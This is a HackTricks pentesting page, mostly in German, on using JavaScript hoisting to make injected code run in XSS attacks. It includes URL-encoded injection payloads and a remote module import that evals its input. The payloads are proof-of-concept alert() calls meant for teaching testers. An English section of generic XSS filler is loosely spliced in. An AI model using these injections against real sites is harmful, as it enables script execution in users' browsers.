JS Hoisting

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

In der JavaScript-Sprache wird ein Mechanismus namens Hoisting beschrieben, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Gültigkeitsbereichs verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch vom JavaScript-Engine durchgeführt, der den Code in mehreren Durchläufen durchläuft.

Während des ersten Durchlaufs analysiert die Engine den Code, um Syntaxfehler zu überprüfen und ihn in einen abstrakten Syntaxbaum umzuwandeln. Diese Phase umfasst das Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Ausführungskontexts verschoben werden. Wenn die Analysephase erfolgreich ist und keine Syntaxfehler vorliegen, wird die Skriptausführung fortgesetzt.

Es ist wichtig zu verstehen, dass:

  1. Das Skript frei von Syntaxfehlern sein muss, damit die Ausführung erfolgen kann. Die Syntaxregeln müssen strikt eingehalten werden.

  2. Die Platzierung des Codes innerhalb des Skripts beeinflusst die Ausführung aufgrund des Hoistings, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.

Arten des Hoistings

Basierend auf den Informationen von MDN gibt es vier verschiedene Arten des Hoistings in JavaScript:

  1. Value Hoisting: Ermöglicht die Verwendung des Werts einer Variablen innerhalb ihres Gültigkeitsbereichs vor ihrer Deklarationszeile.

  2. Declaration Hoisting: Ermöglicht das Referenzieren einer Variablen innerhalb ihres Gültigkeitsbereichs vor ihrer Deklaration, ohne einen ReferenceError zu verursachen, aber der Wert der Variablen wird undefined sein.

  3. Dieser Typ ändert das Verhalten innerhalb seines Gültigkeitsbereichs aufgrund der Deklaration der Variablen vor ihrer tatsächlichen Deklarationszeile.

  4. Die Seiteneffekte der Deklaration treten auf, bevor der restliche Code, der sie enthält, ausgewertet wird.

Im Detail zeigen Funktiondeklarationen das Verhalten des Typs 1 Hoisting. Das Schlüsselwort var zeigt das Verhalten des Typs 2. Lexikalische Deklarationen, zu denen let, const und class gehören, zeigen das Verhalten des Typs 3. Schließlich werden import-Anweisungen dadurch gekennzeichnet, dass sie sowohl das Verhalten des Typs 1 als auch des Typs 4 aufweisen.

Szenarien

Daher können Sie in Szenarien, in denen Sie JS-Code nach Verwendung eines nicht deklarierten Objekts injizieren können, den Syntaxfehler beheben, indem Sie es deklarieren (damit Ihr Code ausgeführt wird, anstatt einen Fehler zu werfen):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Weitere Szenarien

In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for cross-site scripting (XSS) attacks. These scenarios include:

1. Function Declarations

When a function declaration is hoisted, it can be used to execute arbitrary JavaScript code. An attacker can inject malicious code into a function declaration and then call that function to trigger the XSS attack.

function myFunction() {
    // Attacker's code here
}

2. Variable Declarations

Similar to function declarations, variable declarations can also be hoisted and used to execute malicious code. An attacker can inject JavaScript code into a variable declaration and then use that variable to trigger the XSS attack.

var myVariable = // Attacker's code here

3. Event Handlers

Event handlers, such as onclick or onmouseover, can also be exploited using JavaScript hoisting. An attacker can inject malicious code into an event handler and then trigger the event to execute the code.

<button onclick=" // Attacker's code here ">Click me</button>

4. Inline Scripts

Inline scripts, which are JavaScript code embedded directly in HTML tags, can also be vulnerable to XSS attacks through hoisting. An attacker can inject malicious code into an inline script and then trigger the execution of that code.

<script>
    // Attacker's code here
</script>

By understanding these additional scenarios, you can better identify and mitigate XSS vulnerabilities that exploit JavaScript hoisting.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated